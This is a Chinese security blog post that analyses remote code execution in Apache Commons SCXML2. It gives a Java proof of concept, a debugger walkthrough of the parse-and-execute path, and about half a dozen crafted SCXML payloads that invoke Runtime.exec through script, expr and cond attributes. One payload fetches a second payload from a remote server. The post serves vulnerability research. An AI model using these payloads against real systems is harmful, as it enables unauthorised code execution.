April 24, 2023

Apache SCXML2 RCE分析

前言

一开始是看到ctfio上的这篇文章,感到比较好奇,因为挺新的
https://www.ctfiot.com/96133.html
经过我一晚上的玄学探究,和调试,最终发现这东西还挺好玩的妈的,并且发现POC不是一般的多,网上传出来的只有2种,我挖出来至少十种格式xml以上,但是没有完全统计出来,搞懂原理就知道一切了

简单复现

Apache SCXML2 可以通过加载恶意xml文件实现RCE,这个XML的标签需要经过恶意的构造才行,接下来简单复现一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.ModelException;
import org.apache.commons.scxml2.model.SCXML;

import javax.xml.stream.XMLStreamException;
import java.io.IOException;

public class POC {
public static void main(String[] args) throws ModelException, XMLStreamException, IOException {

// engine to execute the scxml instance
SCXMLExecutor executor = new SCXMLExecutor();
// parse SCXML URL into SCXML model
SCXML scxml = SCXMLReader.read("http://127.0.0.1:8000/1.xml");

// set state machine (scxml instance) to execute
executor.setStateMachine(scxml);
executor.go();

}
}
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>

我们加载这个XML文件后,就可以RCE
image.png

细腻分析

image.png
断点先先给在read方法出,我们看看流程
image.png
进入read方法,又调用了另一个参数不同的read,在这里传入我们xml的path,并且初始化了一个Configuration
image.png
将XML的路径和配置类都传入readInternal方法里,跟进
image.png
然后初始化了一个URLresovler去读取XML,这边咱们的http服务就会接收到对应的请求,最后进入readDocument方法进行下一步读取
image.png
获取xml的namespace和localname,最后进入readSCXML方法中进行更深次的读取
,这里就是重点了
image.png
这里会获取几个标签,可以看到包括我们payload里的state标签,由于最外层是state,因此进入readstate方法
image.png
第二层标签是onentry,所以进入了readOnEntry方法
image.png
进入readExecutableContext方法,接下来也是重点
image.png
第三层是script,所以读取script标签
image.png
在这里设置了body体,也就是恶意的payload,最后进入addAction方法,随之就完成了这一系列的读取和添加,退回readOnEntry
image.png
最后添加进去后,进入POC中的第二个方法,setStateMachine
image.png
省去一些跟进,直接到getGlobalContext(),在这里获取一下globalcontext
image.png
随之退回setStateMaching,给evaluator属性赋值为刚刚上述流程得到的evaluator
image.png
随之进入最后一个步骤,go方法
image.png
image.png
image.png
进入firststep方法,这里的exctx储存着上述得到的所有东西
image.png
进入fiststep方法先初始化,然后通过executeGloablScript方法执行globalscript,由于我们这次payload最外层是state不是script,所以没用
image.png
image.png
先进入getStateMachine方法
image.png
这里面放着我们的payload,然后退出去,进入getInitialTransition方法
image.png
这里面也放着payload,退出去,然后add进了一个hashmap,随后进入microStep
image.png
最后进入里面的executeTransitionContent(exctx, step)执行命令
image.png
image.png
通过不断的迭代取出step里面的值,但是由于这次咱们的标签里没有Transition所以取不出什么东西,不会执行命令
image.png
进入enterStates方法
image.png
获取第二层标签onentry后又进入executecontent方法
image.png
首先获取一个迭代器,里面再往深一层就是script标签
image.png
进入getActionExecutionContext()方法,获取可执行的content,终于到最后一步了,随后进入excute方法最终执行命令
image.png
在这里获取了script标签,调用evalScript执行命令
image.png

思考其他payload

在这上述过程中,最后一步咱们调用的是不是evalScript,方法,我们看看还有啥其他类似的?
image.png
那也就是说明Cond、Location、Assign、Script起码都是可以的,其实Location、Assign最终实际调用的是eval,都是获取expr属性
image.png
会获取expr属性,然后eval就是执行expr属性的
image.png
然后这些payload的根源都是从哪儿起来的呢?答案是read方法,记得read方法里的这一步吗?
image.png
会获取以下5个最外层标签,那我们就分析一下,这五个标签有啥可能性,就不调试了直接说简单说分析
最终可用来执行命令的属性或者是标签为

这里就直接放一些其他payload了

1
2
3
4
5
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
<datamodel>
<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
</datamodel>
</scxml>
1
2
3
4
5
6
7
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
<parallel>
<invoke src="test" content="test" id="flag">
<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
</invoke>
</parallel>
</scxml>
1
2
3
4
5
6
7
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
<state>
<history src="test" content="test" id="flag">
<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
</history>
</state>
</scxml>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
</onentry>
</state>
</scxml>
1
2
3
4
5
6
7
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<invoke src="http://vps/2.xml"/>
<!--2.xml放上面随便一个payload都可以 -->
</state>
</scxml>

其他还有很多payload,不想一个个测,直接说一下原理,去寻找哪里调用了setExpr或者setCond即可
onEntry的替代品可以是onexit,然后最后可以附带expr属性的标签可以是location、assign,还有一些带cond的也是,就在上面的SCXMLReader方法里面一个个找,就五个最外层的大标签

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF